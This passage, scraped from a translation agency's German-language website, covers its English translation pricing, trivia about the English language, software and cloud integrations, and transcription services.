Tagessatz. Bei der Simultanübersetzung werden die Kosten für die technische Unterstützung je nach Anzahl der Teilnehmer an der Veranstaltung usw. zusätzlich berechnet. Der Preis für schriftliche Übersetzungen setzt sich zusammen aus dem Umfang und der Lesbarkeit des übersetzten Materials, dem Abgabetermin der Übersetzung, der Komplexität der Fachterminologie, den Textwiederholungen, der Formatierung und der Komplexität der Bilder und Grafiken, der Korrektur sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Selbstverständlich ist die Preisliste für schriftliche und mündliche Übersetzungen (simultan und sequentiell), Lokalisierung und Anpassungen vom und ins Englische ein fester Bestandteil unserer Verträge mit unseren Kunden. Die Projektmanager des baltischen Übersetzungsbüros Skrivanek bereiten jedes Mal vor Beginn eines Übersetzungsauftrages einen detaillierten Kostenvoranschlag vor. Der Kostenvoranschlag wird innerhalb von 30 Minuten erstellt. Der Preis für schriftliche Übersetzungen richtet sich nach der Anzahl der Wörter im Text, den Wiederholungen, der Komplexität der grafischen Elemente und anderen Faktoren. Damit Sie ein Kostenvoranschlag erhalten können, warten wir darauf, Ihre zu übersetzenden Unterlagen in unsere E-Mail zu erhalten. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Englische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in englischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistungen auf Englisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE ENGLISCHE SPRACHE Die Ursprünge des modernen Englisch lassen sich bis ins 7. Jahrhundert n. Chr. zurückverfolgen, als drei germanische Stämme auf die britischen Inseln kamen, die Angeln, Sachsen und Jüten, die im 7. bis 8. Jahrhundert durch Vermischung mit den einheimischen Bewohnern der Inseln - den Kelten, Pikten und Schotten - die angelsächsischen Stämme bildeten. Die englische Sprache kann in drei Zeitabschnitte eingeteilt werden: Altenglisch oder Angelsächsisch (8. -11. Jahrhundert) Mittelenglisch (12. -16. Jahrhundert) Neuenglisch (vom 16. Jahrhundert bis heute) Englisch ist eine westgermanische Sprache aus der indogermanischen Sprachfamilie. Es gibt weltweit mehrere Varianten des Englischen, die sich in Bezug auf Aussprache, Wortschatz und Grammatik unterscheiden: Australisches Englisch, britisches Englisch, kanadisches Englisch, usw. Jede Variante des Englischen hat mehrere Dialekte. Die wichtigsten britischen Dialekte sind beispielsweise der südenglische, mittelenglische, nordenglische Dialekt sowie der irische, schottische, walisische Dialekt, usw. Englisch ist mit Sicherheit die verbreitetste Sprache der Welt. Ihre tief verwurzelte Geschichte, der reiche Wortschatz, die Literatur und die Universitäten sind nur einige der Gründe, welche die englische Sprache so besonders machen. Und es gibt viele Aspekte, die diese Sprache zu einer so interessanten und einzigartigen Verkörperung englischer Kultur und Traditionen machen. Einige von ihnen lassen uns schmunzeln und erscheinen uns merkwürdig. Doch selbst die seltsamsten Aspekte bezüglich dieser schönen Sprache werden mit einem königlichen Akzent gesprochen! Der kürzeste grammatikalisch korrekte Satz im Englischen ist „Go! “ (Geh! ). Die ursprüngliche Form des Wortes butterfly (dt. Schmetterling) war flutterby. Jedes Jahr werden 4000 neue Wörter in das englische Wörterbuch aufgenommen. Die meistbenutzten englischen Wörter sind „I“ (dt. ich) und „you“ (dt. du). Englisch gilt als die glücklichste Sprache der Welt, da das Wort „happy“ (dt. glücklich) dreimal häufiger verwendet wird als das Wort „sad“ (dt. traurig). Englisch ist die einzige Volkssprache, die von keinem der staatlichen Sprachinstitute geregelt wird. Mehr als 80% der gespeicherten und verfügbaren Informationen im Internet sind auf Englisch. Das Wort „lol“ wurde 2011 in das Oxford English Dictionary aufgenommen. Das BuchAlice im Wunderland von Lewis Carroll wurde in China verboten, weil die chinesische Regierung der Meinung war, dass Tiere nicht das Recht haben sollten, in einer menschlichen Sprache zu sprechen und damit die Gleichheit zwischen Menschen und Tieren zu betonen. Charles Dickens war ziemlich abergläubisch, denn er glaubte, dass das Schlafen in nördlicher Richtung sein Talent verbessern würde. Er trug immer einen Kompass bei sich, um sicher zu stellen, in der richtigen Richtung zu schlafen. Ursprünglich durften nur männliche Schauspieler in Shakespeares Stücken auftreten. Damals war es Frauen in England verboten, auf einer Bühne zu stehen. Der Codex Leicester von Leonardo da Vinci, der von Bill Gates für „nur“ 30 Millionen US-Dollar erworben wurde, ist eines der teuersten Bücher in englischer Sprache. DAS ENGLISCHE ALPHABET In der englischen Sprache wird seit dem 9. Jahrhundert das lateinische Alphabet verwendet, davor waren es angelsächsische Runen. Das Alphabet besteht aus 26 Buchstaben, wobei jeder Buchstabe sowohl in Groß- als auch in Kleinbuchstaben geschrieben wird. Es ist eine der wenigen Sprachen, die keine diakritischen Zeichen in der Schrift verwenden. Der am häufigsten verwendete Buchstabe im Englischen ist der Buchstabe e. Am wenigsten wird dasz benutzt. Das Apostroph wird im Englischen nicht als diakritisches Zeichen verwendet und ist nicht im Alphabet enthalten. In der Schrift wird es für zwei wichtige Zwecke verwendet - zur Kennzeichnung der Possessivform für Substantive im Singular und Plural und Personalpronomen sowie für Zusammenziehungen. WIE SCHWIERIG IST ENGLISCH? Englisch ist besonders schwierig zu erlernen. Die Sprache hat eine komplexe Grammatik, Rechtschreibung und Aussprache, die selbst Muttersprachler verwirrt. Die Englische Sprache ist voller Redewendungen und Metaphern. So bedeutet beispielsweise die Redewendung „she kicked the bucket“ wörtlich, dass jemand mit den Füßen einen Eimer getreten hat, aber in der Alltagssprache hat der Satz eine völlig andere Bedeutung - er bedeutet „sie ist gestorben“. Es könnte Tausende von ähnlichen Beispielen geben, und manchmal sind sie sogar für englische Muttersprachler rätselhaft, ganz zu schweigen von denen, die Englisch als Fremdsprache lernen. Es gibt viele englische Wörter, deren Ursprung unlogisch, manchmal sogar komisch erscheint, zum Beispiel das Wort pineapple(dt. Ananas). In der wörtlichen Bedeutung besteht dieses Wort aus zwei Wörtern - Kiefer (eng. „pine“) und Apfel (eng. „apple“). Aber was hat das mit der Ananas zu tun? Auch die Aussprache ist schwierig, da sie nicht mit der Schreibweise übereinstimmt. Konsonanten oder Vokalkombinationen können je nach ihrer Stellung im Wort unterschiedlich ausgesprochen werden. Im Englischen gibt es eine Menge Homonyme. Englische Muttersprachler wissen in der Regel, was der Sprecher gemeint hat, aber ein Laie kann hier in Fettnäpfchen treten. Für jede Stufe der Englischkenntnisse sind mindestens 120 Lernstunden erforderlich, aber eigentlich werden um die 200 Stunden in Anspruch genommen. Um ein fortgeschrittenes Niveau zu erreichen, sind daher 1200 Unterrichtsstunden erforderlich. WO UND WIE VIELE MENSCHEN SPRECHEN ENGLISCH? Englisch ist die am weitesten verbreitete Sprache der Welt und wird als internationale Kommunikationssprache in allen Teilen der Welt verwendet. Die Zahl der Englischsprecher wird auf 2 Milliarden geschätzt. Es ist die Muttersprache von rund 400 Millionen Menschen und die Amtssprache in 54 Ländern und 24 Gebieten auf der Welt. In vielen dieser Länder und Gebieten ist Englisch eine der Amtssprachen, aber in einigen Ländern versteht der größte Teil der Bevölkerung kein Englisch, auch wenn es die Amtssprache ist. Es gibt auch Länder, in denen Englisch die vorherrschende Sprache ist, obwohl es keinen offiziellen Status hat, wie zum Beispiel in Australien. Die meisten englischsprachigen Menschen leben in den USA, Indien, Pakistan, Nigeria und auf den Philippinen. Die fünf größten Länder, gemessen an der Zahl der englischen Muttersprachler, sind die USA, das Vereinigte Königreich, Kanada, Australien und Neuseeland. Englisch ist auch die Muttersprache vieler irischer Bürger. Englisch als Zweitsprache wird am häufigsten in Dänemark, Deutschland, den Niederlanden, Slowenien und Schweden gesprochen. DOLMETSCHER UND ÜBERSETZER FÜR DIE ENGLISCHE SPRACHE Das fantastische Dolmetscher- und Übersetzerteam von Skrivanek Baltikum übersetzt seit mehr als 25 Jahren schriftliche Standarddokumente, Dokumente der Institutionen der Europäischen Union und der größten nichtstaatlichen Organisationen der Welt, komplexe medizinische und technische Schriften sowie notarielle Dokumente. Das Übersetzungsbüro Skrivanek Baltic bietet auch das Korrekturlesen und die stilistische Verbesserung englischer Texte sowie die Erstellung von SEO-Inhalten und Werbeslogans an, die von unseren englischen Muttersprachlern im Vereinigten Königreich, den Vereinigten Staaten von Amerika, Kanada und Australien durchgeführt werden. Unsere Linguisten geben gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Am häufigsten übersetzen wir für Geschäftskunden aus dem und ins Englische: Webseiten und E-Commerce-Inhalte, Inhalte für digitales Marketing und Adaption von Meta-Tags, Kooperationsvereinbarungen, Rechtsakte, Gerichtsurteile und Geschäftsunterlagen. Wir bieten auch sequentielle Übersetzungen bei geschäftlichen oder anderen Veranstaltungen an. Wir übersetzen Gerichtsverhandlungen jeder Art, hochrangige internationale Konferenzen sowie Veranstaltungen auf Zoom und anderen Online-Plattformen. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. DIE ENGLISCHE SPRACHE IM GESCHÄFTSLEBEN Sprache spielt im Geschäftsleben eine wichtige Rolle und kann ein wirksames Instrument für die Entwicklung von Unternehmen auf globaler Ebene sein. Daher ist das Erlernen und Beherrschen von Sprachen eine große Chance für die Entwicklung von Geschäften und die Zusammenarbeit mit ausländischen Investoren und Unternehmern. Englisch ist die am weitesten verbreitete Kommunikationssprache der Welt, weswegen es auch die Geschäftswelt dominiert. Englischkenntnisse helfen bei der Gründung eines Unternehmens auf jedem der sieben Kontinente. Deswegen ist Englisch die einzige Sprache auf der Welt, die eine Milliarde aktive Lernende hat. Es ist die Muttersprache von vielen Menschen aus vielen Ländern, viele lernen es als erste Fremdsprache und es gibt kein Land auf der Welt, in dem es keine Bildungseinrichtungen gibt, in denen man Englisch lernen kann. Die führenden Weltorganisationen verwenden Englisch als Amts- und Arbeitssprache und unzählige wissenschaftliche, technologische und andere Forschungen werden auf Englisch durchgeführt und geschrieben. Es ist die wichtigste Sprache in der Softwareentwicklung und -verwendung und die wichtigste Sprache im Internet. Zahlreiche internationale Unternehmen haben Englisch als Hauptarbeitssprache eingeführt, auch wenn das Land, in dem sie registriert sind, nicht einmal ein englischsprachiges Land ist. Einige der herausragende Beispiele dafür sind Nokia in Finnland und Airbus in Frankreich. Englischkenntnisse bieten jedem Unternehmer die Möglichkeit, sein Unternehmen außerhalb seines Landes auszubauen. Es bietet eine unglaublich große Chance und ist ein unergründlicher Marktsektor auf der ganzen Welt. DAS VEREINIGTE KÖNIGREICH UND DIE REPUBLIK LETTLAND Das Vereinigte Königreich war das erste Land der Welt, das den Lettischen Provisorischen Nationalrat am 11. November 1918 (eine Woche vor der Unabhängigkeitserklärung Lettlands am 18. November 1918) als de facto unabhängige Institution und Zigfrīds Anna Meierovics als inoffizielle diplomatische Vertreterin des Lettischen Provisorischen Nationalrats im Vereinigten Königreich anerkannte. Die britischen Streitkräfte nahmen 1919 am lettischen Unabhängigkeitskrieg teil. Im Frühjahr 1919 stand der Dampfer Saratov, der in der Ostsee bei Liepāja vor Anker lag und dem Provisorischen Lettischen Nationalrat und seinem Führer Kārlis Ulmanis als vorübergehender Unterschlupf und Operationsbasis diente, unter dem Schutz der britischen Kriegsschiffe. Durch die Hilfe der Briten entstand der Gedanke, dass das Vereinigte Königreich eine befreundete Staatsmacht für Lettland ist. Das Vereinigte Königreich ist seit jeher ein wichtiger Handelspartner Lettlands. Für Lettland war es schon immer wichtig, möglichst weitreichende wirtschaftliche Beziehungen zu unterhalten, um Investitionen, Handel und Zusammenarbeit in Wissenschaft und Technologie anzuziehen. Die Republik Lettland und das Vereinigte Königreich arbeiten in den Bereichen Hochschulbildung und Wissenschaft eng zusammen. Die meisten lettischen Universitäten haben Kooperationsabkommen mit britischen Universitäten für den Austausch von Studenten, Lehrkräften und Forschern unterzeichnet. Im Rahmen dieses Abkommens werden gemeinsam wissenschaftliche Konferenzen und Seminare veranstaltet, wissenschaftliche Artikel veröffentlicht und pädagogische und methodische Literatur herausgegeben. Regelmäßige Zusammenarbeit findet in den Bereichen Film, Musik, Literatur und bildende Kunst sowie zwischen Theatern, Museen und Nationalbibliotheken statt. ÜBERSETZUNGEN, DIE WIR AM HÄUFIGSTEN VON/NACH ENGLISCH ANBIETEN: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Englisch; Englisch nach Lettisch; Estnisch nach Englisch; Englisch nach Estnisch; Litauisch nach Englisch; Englisch nach Litauisch; Russisch nach Englisch; Englisch nach Russisch; Tschechisch nach Englisch; Englisch nach Tschechisch; Polnisch nach Englisch; Englisch nach Polnisch; Ukrainisch nach Englisch; Englisch nach Ukrainisch; Englisch nach Spanisch; Spanisch nach Englisch; Deutsch nach Englisch; Englisch nach Deutsch; Italienisch nach Englisch; Englisch nach Italienisch; Französisch nach Englisch; Englisch nach Französisch; Dänisch nach Englisch; Englisch nach Dänisch; Norwegisch nach Englisch; Englisch nach Norwegisch; Schwedisch nach Englisch; Englisch nach Schwedisch; Finnisch nach Englisch; Englisch nach Finnisch und andere. ÜBERSETZUNGEN, DIE WIR AM HÄUFIGSTEN VON/NACH ENGLISCH ANBIETEN: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Englisch; Englisch nach Lettisch; Estnisch nach Englisch; Englisch nach Estnisch; Litauisch nach Englisch; Englisch nach Litauisch; Russisch nach Englisch; Englisch nach Russisch; Tschechisch nach Englisch; Englisch nach Tschechisch; Polnisch nach Englisch; Englisch nach Polnisch; Ukrainisch nach Englisch; Englisch nach Ukrainisch; Englisch nach Spanisch; Spanisch nach Englisch; Deutsch nach Englisch; Englisch nach Deutsch; Italienisch nach Englisch; Englisch nach Italienisch; Französisch nach Englisch; Englisch nach Französisch; Dänisch nach Englisch; Englisch nach Dänisch; Norwegisch nach Englisch; Englisch nach Norwegisch; Schwedisch nach Englisch; Englisch nach Schwedisch; Finnisch nach Englisch; Englisch nach Finnisch und andere. --- > Die aktuellsten Entwicklungen in der Sprachtechnologie für Umfeld und Integration eignen sich ideal für große Projekte mit mehrsprachigem Inhalt. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/ - Translation Priorities: Optional SKRIVANEKS ÜBERSETZUNGSUMFELD - MODERNSTE INTEGRATIONEN Im digitalen Zeitalter sind Technologie und Sprache eng miteinander verknüpft. Der Übersetzungs- und Lokalisierungsprozess ist ohne moderne Technologie nicht mehr denkbar. Fachleute aus verschiedenen Bereichen - Übersetzer, Programmierer, Content Creator, Marketingexperten - arbeiten im Grunde im gleichen digitalen Arbeitsumfeld. Die neuesten Entwicklungen der Sprachtechnologie eignen sich perfekt für die Arbeit mit großen Mengen mehrsprachiger Inhalte. Integrationen, mit denen wir täglich arbeiten: WORDPRESS Die Integration der computergestützten Übersetzungstools von Skrivanek in WordPress ist eine moderne, komfortable und einfache Möglichkeit, die Übersetzung und Lokalisierung von Webseiten in verschiedene Sprachen ohne zeitaufwändige manuelle Arbeit zu gewährleisten. Dank unserer Zusammenarbeit mit WPML können wir selbst die umfangreichsten Übersetzungsprojekte in jeder Sprache realisieren. Machen Sie Ihre Webseite für Besucher aus der ganzen Welt zugänglich, ohne Ihr gewohntes Entwicklungsumfeld mit Wordpress zu verändern. GITHUB Durch die Integration der Skrivanek-Übersetzungstechnologie in GitHub müssen Sie sich nicht um die Lokalisierung des Textes Ihrer App kümmern, sondern können sich auf das Wesentliche konzentrieren - die Verbesserung und Programmierung Ihrer App. Wir wiederum werden dafür sorgen, dass die App in allen Zielsprachen verfügbar ist. Das Repository wird unabhängig beaufsichtigt und alle Ergänzungen werden automatisch in unser Übersetzungssystem übertragen. So können Sie davon ausgehen, dass die App zum Zeitpunkt der Veröffentlichung in allen von Ihnen gewünschten Sprachen verfügbar ist. MICROSOFT AZURE Azure ist die Cloud-Computing-Plattform von Microsoft, die Ressourcen für die Entwicklung, Verwaltung und Veröffentlichung einer Vielzahl von Anwendungen bereitstellt. Die Übersetzungssysteme von Skrivanek lassen sich problemlos mit den Repositorys von Azure verbinden und laden die zu übersetzenden Dateien automatisch herunter und hoch. Unsere Übersetzungssysteme können selbst kleinste Änderungen im Online-Repository erkennen und Dateien automatisch in unseren firmeneigenen Übersetzungsfluss einbauen. Somit sparen Sie sich einen zeitraubenden Informationsaustausch per E-Mail. Laden Sie einfach die zu übersetzenden Dateien im Online-Repository hoch, und wir sorgen dafür, dass Sie die bereits übersetzten Dateien in kürzester Zeit in demselben Online-Repository wiederfinden können. MICROSOFT ONEDRIVE Microsoft OneDrive ist ein Cloud-basierter Dokumentenspeicherdienst. Die Übersetzungssysteme von Skrivanek sind mit OneDrive verbunden, so dass Sie Übersetzungsdateien automatisch herunterladen und die fertige Übersetzung direkt auf Ihren Desktop hochladen können. Somit sparen Sie sich einen zeitraubenden Informationsaustausch per E-Mail. Laden Sie einfach die zu übersetzenden Dateien im Online-Repository hoch, und wir sorgen dafür, dass Sie die bereits übersetzten Dateien in kürzester Zeit in demselben Online-Repository wiederfinden können. MICROSOFT SHAREPOINT Microsoft SharePoint ist eine Plattform zum Speichern und Freigeben vieler verschiedener Arten von Dateien. Die Übersetzungssysteme von Skrivanek machen das Herunter- und Hochladen von Dateien im SharePoint Speicher einfach und schnell. So können Sie sicher sein, dass alle Mitglieder Ihres Teams schnell und einfach Zugang zu Dokumenten in der gewünschten Sprache haben, und der zeitraubenden Austausch per E-Mail gehört fortan der Vergangenheit an. Laden Sie die zu übersetzenden Dateien einfach in den SharePoint Online-Repository hoch und wir sorgen dafür, dass Sie in kürzester Zeit mit den übersetzten Dokumenten in demselben Online-Repository arbeiten können. GOOGLE DRIVE Die Integration der Übersetzungssysteme von Skrivanek in Google Drive ist eine sehr komfortable und einfache Möglichkeit, die in Google Drive gespeicherten Inhalte einem breiteren Publikum zugänglich zu machen. Durch Google Drive können Quelldateien direkt heruntergeladen und Zieldateien hochgeladen werden, in das persönliche und gemeinsame Repository. Dank der Integration der Skrivanek-Übersetzungssysteme in Google Drive müssen Sie sich keine Gedanken mehr über den Austausch von Dateien per E-Mail oder über Cloud-Dienste von Drittanbietern machen. DROPBOX Synchronisieren Sie Ihre Dropbox-Ordner, Dateien und Projekte mit dem Übersetzungssystem von Skrivanek. So können Sie Dateien zur Übersetzung senden und übersetzte Dokumente direkt auf Ihrem persönlichen Desktop empfangen. Das Übersetzungssystem von Skrivanek erkennt automatisch, wenn dem Dokumentenordner neue Dateien hinzugefügt oder Änderungen an bestehenden Dateien vorgenommen wurden. Die Dateien werden automatisch in den Übersetzungsfluss eingebaut und bei fertiger Arbeit in den Zieldateiordner hochgeladen. AMAZON S3 Halten Sie die zu übersetzenden Dokumente geordnet, zugänglich und auf dem neuesten Stand. Das Übersetzungssystem von Skrivanek erkennt automatisch, wenn Änderungen an den Dateien vorgenommen wurden und baut diese in den Übersetzungsfluss mit ein. Nach der Übersetzung werden die Dokumente automatisch in Ihren Amazon S3-Speicher hochgeladen. Vergessen Sie den zeitaufwändigen und unübersichtlichen Dokumentenaustausch per E-Mail. JIRA Verbinden Sie Jira einfach mit Skrivaneks Übersetzungssystem und erhalten Sie Ihre Übersetzungen sofort in Ihrer vertrauten Jira-Umgebung. ZENDESK Verbesserung der Bearbeitung von Support-Tickets und der Zusammenarbeit mit internationalen Kunden. Das Übersetzungssystem von Skrivanek lässt sich leicht und einfach in das Help-Desk-Software von Zendesk integrieren. Auf diese Weise können Sie Kategorien von Zendesk Tickets, Inhalte, veröffentlichte Artikel und Abschnitte einfach übersetzen. ADOBE COMMERCE Erweitern Sie Ihr Geschäft, indem Sie Produktbeschreibungen, Kataloginhalte, Rechnungsseiten und andere Inhalte in den Sprachen Ihrer Kunden zur Verfügung stellen. Das Übersetzungssystem von Skrivanek bietet eine Integration mit Magento Open Source- und E-Commerce-Systemen. ANDROID STUDIO Entwickeln Sie mehrsprachiger Apps leicht und einfach mit der Integration von Skrivaneks Übersetzungssystem und Android Studio. Senden Sie den zu übersetzenden Text automatisch aus der App-Entwicklungsumgebung und erhalten Sie die Übersetzung. So können Sie davon ausgehen, dass die App zum Zeitpunkt der Veröffentlichung in allen von Ihnen gewünschten Sprachen verfügbar ist. DRUPAL Erreichen Sie ein größeres Publikum, indem Sie Ihre Drupal-Webseite mit dem Übersetzungssystem von Skrivanek übersetzen. Wir bieten eine vollständige Integration des Übersetzungssystems in Ihre Drupal-Webseite, so dass Sie schnell und einfach die neuesten Webseiteninhalte in einer Vielzahl von Zielsprachen bereitstellen können. GITLAB Optimieren Sie Ihre Software, indem Sie die zu übersetzenden Inhalte automatisch an das Übersetzungssystem von Skrivanek senden. Der Software-Quellcode-Repository wird unabhängig überwacht und alle Ergänzungen werden automatisch in unser Übersetzungssystem übertragen. So können Sie davon ausgehen, dass die App zum Zeitpunkt der Veröffentlichung in allen von Ihnen gewünschten Sprachen verfügbar ist. Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WIE KANN IHNEN SKRIVANEK HELFEN SMARTER ZU ARBEITEN? KONTAKTIEREN SIE UNS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! --- > Bei Skrivanek bieten wir Ihnen professionelle Transkriptions- und Transliterationsdienste an, die gesprochene Sprache aus Audio-/Videoaufnahmen in mehr als 110 Sprachen in geschriebene Sprache umwandeln. - Published: 2025-01-06 - Modified: 2025-07-08 - URL: https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/ - Translation Priorities: Optional WAS IST DIE TRANSKRIPTION/TRANSLITERATION? Die professionelle Transkription von Audio- und oder Videoaufnahmen ist die genaue Wiedergabe des in einer Aufnahme gehörten Textes in eine geschriebene Textdatei. Für eine höhere Effizienz werden oft fortschrittliche Spracherkennungstechnologien benutzt, welches uns erlaubt, den Transkriptionsprozess zu beschleunigen, auch wenn in einer Aufnahme mehrere Sprecher vorkommen. Solch eine automatisierte Transkription eignet sich gut, wenn die Audiodateien von sehr guter Qualität und leicht zu verstehen sind. Meist transkribieren wir jedoch manuell, da wir so Qualität garantieren können, auch wenn der Arbeitsprozess länger und komplizierter ist. Nach Abschluss unserer Arbeit, erhalten Sie die transkribierte Textdatei, die Sie für eine Vielzahl von Zwecken verwenden können. WARUM SOLLTEN SIE MIT SKRIVANEK ARBEITEN? Wir, als professionelles Sprachunternehmen, sind bekannt für ausgezeichneten Kundenservice und eine breite Palette an Sprachdienstleistungen. Die professionelle Transkription und Textübersetzung Ihres Audio- oder Videomaterials in mehr als 110 Sprachen hat Priorität für unser Unternehmen. Deswegen wählen unsere Kunden Skrivanek: Wir arbeiten mit über 100 Dateiformaten: Wir arbeiten mit allen Audio- und Videodateiformaten (z. B. sbv, avi, mpg, mp4, wmv, mp3, wav, wma und mehr). Egal, ob Sie eine Audio- oder Videotranskription benötigen, wir helfen Ihnen weiter! Dienstleistungen ganz bequem online: Sie können ganz bequem online einen Auftrag für die Transkription einer Audio/-Videodatei aufgeben Wir nehmen Aufträge gerne online an und liefern diese auch online, egal ob über E-Mail oder über eine von Ihnen bevorzugte elektronische Kommunikationsmethode in der Cloud, um die vollständige Sicherheit Ihrer Daten zu garantieren. Unkompliziertes Kundenportal: In unserem benutzerfreundlichen Kundenportal haben Sie immer einen umfassenden Überblick und können den Fortschritt Ihres Auftrags verfolgen. Ausgezeichneter Service: Unsere Arbeit ist ausgezeichnet durch zahlreiche Zertifikate der Internationalen Organisation für Normung (ISO) und einen strengen Verhaltenskodex. Für qualitativ hochwertige Transkriptionsdienste sind Sie bei uns bei der richtigen Adresse! AUF DER SUCHE NACH TRANSKRIPTIONS-/TRANSLITERATIONSDIENSTEN? KONTAKTIEREN SIE UNS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! ARTEN VON TRANSKRIPTIONSDIENSTEN Es gibt grundsätzlich zwei Arten von Transkriptionsdiensten: Die geglättete Transkription - die Rede, die Sie auf der Aufnahme hören, wird nicht nur transkribiert, sondern auch geglättet, d. h. der geschriebene Text ist frei von Unterbrechungen im Sprachfluss und unnötigen Lauten als Lückenfüller, wie z. B. "ähh", "ähm", "naja", unvollendete Wörter; Hintergrundgeräusche werden ebenfalls nicht transkribiert, und Sprachintonationsfehler (korrekte Verwendung von Macron) werden korrigiert, die wir oft in Fernsehsendungen, Konferenzen, öffentlichen Debatten, Online-Vorträgen usw. hören. Wir empfehlen diesen Service, wenn das transkribierte Material für Schulungszwecke oder Marketingaktivitäten bestimmt ist. Die wortgetreue Transkription bedeutet, dass die Sprache, die Sie auf der Aufnahme hören, Wort für Wort transkribiert wird, wobei alle unnötigen Geräusche, Sprachfehler und Zwischenrufe genau wiedergegeben werden. Diese Transkription wird gewählt, wenn die transkribierte Datei und der geschriebene Text vor Gericht oder in einem Rechtsstreit als Beweismittel dienen sollen. WANN WERDEN TRANSKRIPTIONEN BENÖTIGT? Transkriptionsdienste sind nützlich, wenn Abschriften benötigt werden: Wenn die Transkription als Beweismittel bei Gerichtsverhandlungen oder der Polizei dienen soll, können wir ein gedrucktes 